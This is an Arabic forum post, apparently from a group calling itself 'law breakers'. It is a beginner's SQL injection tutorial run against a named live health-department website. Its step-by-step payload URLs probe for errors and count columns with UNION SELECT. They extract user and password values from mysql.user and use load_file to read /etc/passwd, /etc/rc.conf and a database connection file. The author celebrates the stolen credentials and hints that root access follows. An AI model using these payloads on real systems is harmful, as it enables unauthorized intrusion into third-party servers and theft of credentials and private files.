بسم الله الرحمن الرحيم
السلام عليكم اخواني الغاليين اعضاء قروب المخالف عن القانون الغالين ان شاء الله بخير وفي صحه دايمه ان شاء الله
حبيت اهدي هذا الشرح الى ترياق الغالي بعد افتتاحه بحمد الله تعالي وان شاء الله ينال على رضاكم
موضوعنا اليوم عن عن حقن قواعد البيانات ( sql injection ) وهذي الثغره قويه ومواقع كبيره مصابه فيها
ويتطلبها اشخاص محترفين في التعامل مع هذي الثغره وانا راح اشرح شرح بدائي يعني للمبتدئين حتى يفهمون الثغره
وطريقة تعاملها المهم معانا موقع ونبغي نعرف هل مصاب بهذي الثغره او لا في بعد الرموز او الاوامر
نكتبها بعد الرابط لاظهار اذا كان هناك خطأ في القاعده او لا مثل
( having 1=1 او ' او - ) المهم هذي الاكثر تداول بين الناس نشوف معاي موقع مصاب بهذي الثغره
http://www.clarkhealthdept.org/news.phtml?id=2
الان نضيف ( ' ) بعد الرقم 2 او نضيف احد الرموز المذكوره لاظهار الخطا في القاعده يعني مثلاً
[url=http://www.clarkhealthdept.org/news.phtml?id=-2]http://www.clarkhealthdept.org/news.phtml?id=-2[/url]
[url=http://www.clarkhealthdept.org/news.phtml?id=2 having 1=1]http://www.clarkhealthdept.org/news.phtml?id=2 having 1=1[/url]
لاحظ العنوان الثاني بعد الرقم 2 مسافه وبعدها كلمة having وبعدها مسافه وبعدين 1=1 المهم
الموقع مصاب بهذي الثغره وطلع معاي خطأ بسيط لان ابعض الاخطأ على حسب علمي ومتابعتي المواضيع
ان تلاقي مكتوب بالانجليزي خطأ في قواعد البيانات راح نشوفه في وقت ثاني ان شاء الله نشوف الحين
المهم الان نستخدم كلمة union وكلمة select وتعني كلمة union اتحاد وتستخدم في اضافة استعلام select هذا اهم الكلمات في الحقن
انا ماعندي خبره كبيره في sql لكن ان شاء الله مع الشرح راح تفهمون الثغره وخطورتها نتابع الان بعد ماظهر لنا الخطأ
نمسح الكلمات اللي اضفناها والرموز ليرجع الرابط مثل ماكان في الاصل فقط بإضافة ( - ) قبل الرقم 2 او اي رقم كان في الرابط
ونضيف الكلمات المذكوره سابقأ union و select بمراعاة اضافة بين كل كلمه ( مسافه او /**/ او علامة الـ + ) نتابع
مع الترقيم وبدايه من الصفر او 1 وقفل الاستعلام بهذا الرمز /* نتابع طريقة الرابط الان مع ربطه بالكلام اللي قلته شوف
http://www.clarkhealthdept.org/news.phtml?id=-2+unino+select+1/*
الان نبدأ بالترقيم حتى يختفي معانا الاخطأ اللي موجود في الصفحه نتابع طريقة الترقيم
الاستعلام وصل حتى الرقم ( 5 ) وكل موقع يختلف في بعض المواقع توصل حتى الرقم 20 او 30 على حسب الموقع
وركز الان في الرقم ( 4 ) اللي ظهر لنا بعد اختفاء الرقم هذا يعني التغير بيكون في الرقم ( 4 ) اللي في الاستعلام نتابع
الان مكان الرقم ( 4 ) نضيف كلمة ( user ) وبعد الرقم ( 5 ) علامة ( + ) ونكتب بعدها from وعلامة ( + ) وبعدها mysql.user
نتابع طريقة الربط بين كل هذا اللي شرحته على الموقع وراح يكون الرابط بعد ربط الكلامات فيه بهذا الشكل
ومكان الرقم ( 4 ) لو ماطلع لنا شي بعد ماكتبنا كلمة يوزر نستخدم اي كلمه مثل user او users او admin او adminlogin
يعني نخمن بعض المسميات الخاصه بالمستخدمين ونفس الحاجه للباسوردات نشوفها كيف ونتابع
http://www.clarkhealthdept.org/news.phtml?id=-2+union+select+1,2,3,user,5+from+mysql.user/*
تختلف مسميات الحقن في قواعد البيانات للمستخدمين مثلا انا كتبت user وفي بعض المواقع admin او users
حتى كلمة mysql.user ممكن تكون mysql.dbh وفيه اسماء كثيره ان شاء الله الخبراء يطرحونها لنا لان شرحي بدائي
الان لو نبغي نستخرج باسورد الروت كيف ؟ نغير كلمة user باحد الكلمات الخاصه بالباسورد مثلا pass او passwd او password
ولين تصيد باسورد الروت ونفس نتابع كيف الطريقه الان
لاحظو كيف كتبت كلمة pass وطلع لنا الخطأ مره ثانيه يعني كلمة pass مش موجوده في قواعد البيانات نكتب password ونجرب
http://www.clarkhealthdept.org/news.phtml?id=-2+union+select+1,2,3,password,5+from+mysql.user/*
طبعا نعرف ان الروت ( 2 ) روت للـ mysql وروت السيرفر نفسه المهم لو نفك التشفير ممكن يكون الباسورد
نفسه باسورد الروت الخاص بالسيرفر يعني ندخل من بيوتي على طوول
المهم يجيني واحد يقولي يالقطري انا مابي باسورد الروت ابي اشوف ملفات السيرفر واقرا بعضها لو كان السيرفر يسمح في هذا
اقوله ماطلبت شي بالامر هذا load_file("/") لاحظو علامة / اللي بين القوسين هذي بيكون مسارك في السيرفر
نعرف ان في اي شل لو دخلت على هذا المسار / راح تلاقي مجلد الـ tmp والـ etc وغيرها من المجلدات في هذا المسار
الحين بيكون تعاملنا مع هذا الامر load_file("/") في قرأة محتوايات السيرفر وبعض السيرفرات ماتسمح لك نشوف كيف
الان نمسح كلمة password ونضيف مكانها load_file("/") ونشوف وش طلع لنا بالتحديد الرابط بيكون كذا
http://www.clarkhealthdept.org/news.phtml?id=-2+union+select+1,2,3,load_file("/"),5+from+mysql.user/*
اكيد وضحة الفكره وراح اوضحها اكثر واكثر حتى المبتدئين يفهمون ايش مسارنا بالظبط الحين لو دخلنا من الشل على هذا السار /
وش راح يطلع لنا اكيد عارفين مجلدات وملفات السيرفر اللي تشوفونها في المربع في الصوره السابقه الحين لو نبي ندخل على اي مجلد
ونقراء احد ملفات السيرفر وش الطريقه ؟ راح يكون كل تعاملنا مع السيرفر داخل القوسين هذا ("/") بعد علامة الـ / بالتحديد بيكون الرابط هذا
http://www.clarkhealthdept.org/news.phtml?id=-2+union+select+1,2,3,load_file("/etc"),5+from+mysql.user/*
شفنا كيف دخلنا على مجلد الحسابات etc وشفنا كل اللي بداخله الان خلونا نقرا الحسابات على السيرفر نشوف الملف اللي عليه السهم معروف اكيد نقراه ونشوف كيف تابع
http://www.clarkhealthdept.org/news.phtml?id=-2+union+select+1,2,3,load_file("/etc/passwd"),5+from+mysql.user/*
الى هنا كل شي مفهوم ان شاء الله وشرح مبسط والحمد لله الان نتعمق شوي وندخل في ملفات السيرفر ونلفها ملف ملف مثل ماشفتو كيف
بيكون تطبيق الاوامر كلها داخل القوسين ("/") وبعد علامة الـ / وانتبه لعلامة التنصين يعني بيكون الامر نكتبه هنا ("هنا نكتب الاوامر/") نشوف بعض ملفات السيرفر
نرجع الى مجلد الحسابات etc ونشوف لنا اي مجلد او ملف من اللي في الصوره ونقراهم او ندخل على المجلد شوف
http://www.clarkhealthdept.org/news.phtml?id=-2+union+select+1,2,3,load_file("/etc"),5+from+mysql.user/*
وهذي الصوره تبين لنا بعد ماقرائنا الملف اللي عليه مربع شوفو ايش طلع لنا وهذا الرابط يوضح كل شرحنا
http://www.clarkhealthdept.org/news.phtml?id=-2+union+select+1,2,3,load_file("/etc/rc.conf"),5+from+mysql.user/*
وهكذا لحد ماتوصل لاي بيانات تقراها وممكن ملفات الكونفق في السيرفر لو عارف مسارها مثل هذا شوف وانا ابحث في الملفات والمجلدات
شوف المسار اللي توصلت لها وايش طلع لي يعني لف السيرفر كامل ملف ملف هذا للي مايعرف مسارات الملفات نفسي واللي يعرف بيكون سهل عليه
نشوف ايش طلع لنا على هذا الرابط يوم لفيت ملفات السيرفر واقراها نشوف هذا الرابط
http://www.clarkhealthdept.org/news.phtml?id=-2+union+select+1,2,3,load_file("/usr/local/www/meginc/admin/db_connect.phtml"),5+from+mysql.user/*
ياسلام ايش هذا اللي طلع لنا بيانات قاعدة البيانات ياحلاوه بعد لو كان الروت غبي ويكون نفس باسورده يكون يوفر علينا المشوار كله
وفيه اوامر واسماء كثيره ان شاء الله احاول اتطرق لها في وقت ثاني لان في بعض السيرفرات ماتقدر تقرأ شي على السيرفر
وفي هذي الحاله نحاول نخمن اسماء الجداول والاعمده لاني توني ماصار لي شهر من تعلمت على هالثغره وان شاء الله يفيدنا احد الخبراء
في هذا النوع من الثغرات لاني صراحه حبيت هذي الثغره ومشوقه وفيها اثاره
والى اهنا تقبلو تحياتي وشكري وهذا الدرس مقدم مني الى ترياق العرب اللي كل مانقدم له شي مانوفي له حقه والله
اخوكم رابح زيرو فور ايفر
للمساعده:
ارجو الاضافه ع
3z*,@nimbuzz.com8)
نشوف تعليقاتكم:D
تعبت من الموضوع
وممنوع نقل الواضيع الا باستاذان من صاحب الموضوع